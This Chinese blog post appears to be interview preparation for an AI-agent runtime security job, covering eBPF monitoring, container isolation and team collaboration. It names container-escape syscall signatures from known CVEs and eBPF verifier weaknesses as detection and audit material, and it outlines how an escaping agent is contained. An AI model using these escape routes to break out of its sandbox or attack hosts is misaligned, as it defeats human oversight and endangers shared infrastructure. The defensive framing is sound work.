Q: 如果发现一个 Agent 正在尝试容器逃逸,怎么处置?

即时(秒级): eBPF LSM 阻断(-EPERM)→ kill 进程 → cgroup/skb 断网
短期(分钟级): 销毁 VM → 保留 snapshot 取证 → 标记租户可疑
事后: 回溯 eBPF 日志重建攻击链 → 关联应用层日志(哪个 prompt 触发的?)→ 更新策略

逃逸尝试通常有明显 syscall 特征:打开 /proc/self/exe(5736)、访问 /proc/self/fd/ 特殊 fd(21626)、写入 cgroup release_agent(0492)。这些可以在 eBPF LSM 中精确匹配。


九、行为面试

Q: 最有成就感的项目?

2021 年天府杯的 Docker 逃逸 + Ubuntu 本地提权利用链。需要串联内核漏洞提权 + 容器逃逸两个环节,每个都必须稳定可靠。内核利用要绕 KASLR、SMEP/SMAP,加上容器环境限制(有限 capabilities、seccomp),利用过程需要非常精细的控制。这个项目让我从整体理解了”容器内到 host root”的完整攻击路径。

Q: 怎么快速学习新领域?

三个阶段:建立全景认知(不追细节,先理解核心概念和关系)→ 动手复现(拿一个 CVE 搭环境写 PoC,比读十篇综述深入得多)→ 输出验证理解(写博客、出 CTF 题)。CTF 十年训练了这个能力——每场比赛都可能遇到全新领域。

Q: 为什么想做 Agent 安全?

从容器逃逸到 Agent Runtime 是自然延伸——Agent 本质上是运行在容器中的高权限不确定性 workload。传统容器安全假设 workload 行为可预测,但 AI Agent 打破了这个假设。传统方案不能直接用,需要新思路——这正是我感兴趣的,而且我的技能组合正好匹配。

Q: 遇到分歧怎么办?

用 PoC 说话——安全研究中,一个可复现的 exploit 胜过一百页文档。如果是架构分歧,基于具体场景的威胁模型来分析,没有绝对对错。

Q: 你的技术盲区?

K8s 深度运维和 GPU 隔离经验相对少。但学习模式是”从攻击面切入”:K8s 从 RBAC、网络策略、准入控制切入;GPU 隔离从 NVIDIA Container Toolkit 攻击面开始(CVE-2025-23266)。CTF 十年证明了快速进入新领域的能力。

Q: 对这个岗位的理解?你能带来什么?

给 AI Agent 建立系统层面的安全保障。我能带来:

  1. 攻击者视角——50+ CVE 让我知道攻击者怎么攻
  2. eBPF 深度——不仅会用,还知道 eBPF 自身的安全边界
  3. 容器逃逸实战——天府杯到多个 CVE 分析
  4. 技术输出能力——博客、出版物、CTF 出题
  5. 跨领域连接——同时理解系统层和 AI 应用层安全

十、交叉面专项:面试官是 eBPF 训练监控方向

以下问答专门针对训练监控背景的面试官,有些 eBPF 基础问题在前面章节已覆盖,这里聚焦于跨团队协作、性能敏感度、训练场景理解这些交叉面特有的考察点。

Q: 你了解 eBPF 在 GPU 训练监控中的应用吗?

有一定了解。eBPF 在训练监控中的核心价值是非侵入式全栈可观测性——从内核 syscall、网络(RDMA/NCCL)、CPU 调度,到 CUDA 驱动调用,再到 PyTorch 算子层面,都可以通过 eBPF uprobe/kprobe 追踪,不需要修改训练框架代码。

比如最近的研究:

  • eACGM 框架用 eBPF 做 AI/ML 系统的全栈监控,覆盖 GPU(通过 libnvml)、CUDA、PyTorch、网络通信层,用 GMM 做异常检测
  • eInfer 通过 eBPF 拦截 GPU 驱动的 ioctl 调用来重建 LLM 推理的完整执行时间线,开销在亚毫秒级
  • Mycroft 做 RDMA 级别的集合通信追踪,定位 all-reduce 中的 straggler

这些和我做安全监控的技术栈高度重叠——底层的 eBPF 基础设施(程序加载、map 管理、事件传输)是可以共享的。

Q: 安全监控的 eBPF 程序会不会影响训练性能?怎么控制开销?

这是非常合理的顾虑。GPU 训练场景中,一个 all-reduce 被延迟几毫秒就会导致所有 worker 等待。原则是:安全监控绝不能成为训练瓶颈。

  1. 内核侧过滤:只监控 Agent 容器(通过 cgroup ID 过滤),训练 Pod 的事件直接跳过
  2. 避免热路径 hook:训练热路径是 GPU kernel launch、NCCL 通信、RDMA 操作——安全监控不 hook 这些
  3. ring buffer + batch 消费:设置合理的 wakeup_watermark,不是每个事件都唤醒用户态
  4. 量化开销:bpftool prog profile 监控每个 BPF 程序运行时间,目标单次 < 1μs,整体 CPU < 2%
  5. 分级监控:正常状态轻量级,告警状态增强,动态加载/卸载不影响训练

Q: 安全监控和训练监控的 eBPF 程序会不会冲突?

理论上不会——内核支持同一 hook 点上 attach 多个 BPF 程序。但需要协调:

  • LSM hook:安全监控的 LSM 通过 cgroup ID 判断,只对 Agent 容器生效,训练 Pod 直接放行
  • XDP:同一网卡只能一个 XDP 程序,需要用 libxdp dispatcher 或 tail call 协调
  • 资源:BPF map 内存、ring buffer 都要 budget

最佳实践是共建 eBPF 平台层: 统一生命周期管理、统一数据管道(ring buffer → collector → Kafka,不同 topic)、统一资源限额。

Q: 你写过 eBPF 程序吗?用什么框架?遇到过什么坑?

写过。框架:libbpf + C(生产首选)、bpftrace(快速原型)、**cilium/ebpf (Go)**。BCC 已不是主流。

踩过的坑:

  1. Verifier 复杂度爆炸:用 tail call 拆分、简化分支、用 map 替代 if-else
  2. 指针安全检查:每级解引用前都要 bpf_probe_read_kernel 或 BPF_CORE_READ
  3. 字符串处理:BPF 中不能 strlen/strcmp,从 dentry 逐级读 d_name 或比较 inode
  4. BTF 不可用:老内核需 fallback 到硬编码偏移
  5. Map 内存泄漏:hash map 没做 GC,满了后新 entry 插入失败。用 LRU map 或用户态定期清理

Q: 你觉得安全团队和训练监控团队怎么协作最好?

  1. 共建平台层:统一 BPF 程序管理 + 数据管道 + 资源治理
  2. 互相提供价值:训练监控的行为基线帮安全排除误报;安全的容器/进程元数据帮训练监控做 Pod 级归因
  3. 避免踩脚:明确 hook 点分工,共享 hook 点时商量过滤策略
  4. 联合排障:训练变慢时快速定位是 BPF 开销还是安全策略限制

Q: 你对 RDMA 和 NCCL 了解多少?

坦诚说深度使用经验不多,但了解架构:

RDMA:绕过 CPU 和内核协议栈,网卡直接读写远端内存。从安全角度关注:RDMA 绕过内核网络栈,eBPF 的 XDP/TC 看不到 RDMA 流量——需要在 Verbs 层 uprobe 或依赖硬件监控。

NCCL:NVIDIA 集合通信库(all-reduce、all-gather 等),底层走 RDMA/TCP/NVLink。2.27+ 新增 profiler plugin API。

安全视角:RDMA memory region 配置不当可能暴露内存;多租户共享 RDMA 需确保 QP 隔离。

Q: 你怎么看 eBPF 程序自身的安全性?

这正是我在 STAR Labs 做审计的核心方向。训练监控团队应该关心:

  1. Verifier 不是万能的——我发现过多个 verifier bug,精心构造的 BPF 程序可能越界读写内核内存
  2. BPF 程序可以读内核内存——bpf_probe_read_kernel 读任意地址,恶意程序可泄漏敏感数据
  3. DoS 风险——热路径上的频繁 hash lookup 可消耗 CPU
  4. Map 数据泄漏——需要通过 bpffs 权限和 BPF token(6.9+)控制访问

缓解:unprivileged_bpf_disabled=2、只允许受信任进程加载 BPF(CAP_BPF + CAP_PERFMON)。我的审计经验可以帮团队 review BPF 程序安全性。

交叉面沟通策略

场景 应对
面试官问 eBPF 深度细节 正面回答,你有审计经验,内功扎实
面试官问训练/NCCL/RDMA 细节 诚实说深度有限,但展示框架理解和安全视角,强调学习能力
面试官担心安全监控影响性能 重点:内核侧过滤、避免热路径 hook、量化开销、动态加载
面试官问协作方式 强调共建 eBPF 平台、互相提供价值、你能帮做安全 review
冷场时 反问:”你们用什么框架写 BPF 程序?遇到过 verifier 的什么坑?”

核心姿态: 不要假装懂训练监控所有细节。展示的是——我在 eBPF 安全方向有你没有的深度(verifier bug、内核攻击面),同时尊重你的领域、能快速学习、愿意协作。两个方向的 eBPF 能力是互补的。


十一、反问面试官 & 复习清单

反问面试官的问题

  1. “当前 Agent Runtime 的隔离方案是什么?遇到的最大挑战是什么?”
  2. “团队在 eBPF 的使用程度?是已有基础设施还是从零开始?”
  3. “Code Interpreter 目前是跑在容器里还是 microVM 里?”
  4. “有没有遇到过真实的 Agent 安全事件(比如 prompt injection 导致的越权操作)?”
  5. “团队对安全研究产出(如博客、会议分享)的态度?”

面试前一晚快速复习清单

  • eBPF 程序类型、map 类型、verifier 机制(第二章)
  • kprobe vs fentry vs tracepoint vs uprobe 的区别和开销(2.2 + 2.3)
  • BPF LSM 的 attach 方式和使用场景(2.2)
  • Namespace(8种)、Seccomp BPF、capabilities(第四章)
  • 容器逃逸经典 CVE(5736、21626、0492)的原理和修复(第四章)
  • OWASP Agentic AI Top 10(2026 版)
  • Prompt Injection 直接/间接分类,Tool Use 攻击面(第七章)
  • 自己的 CVE 列表中每个的一句话描述
  • 安全监控的性能开销控制策略(第十章)
  • 安全团队与训练监控团队的协作模式(第十章)

参考资料

  • eBPF for AI Agent Enforcement - ARMO
  • Microsoft Agent Governance Toolkit
  • SandboxEscapeBench - arXiv
  • eBPF-PATROL - arXiv
  • Ant Group Kata + eBPF
  • OWASP LLM Top 10 - Prompt Injection
  • Container Escape for AI Agents - Blaxel
  • AgentSentry - arXiv
  • Agents Rule of Two - Simon Willison
  • eACGM: eBPF-based ML Monitoring - arXiv
  • GPU Observability with eBPF - Annanay Agarwal
© 2015 - 2026 Swing
Powered by Hexo Hexo Theme Bloom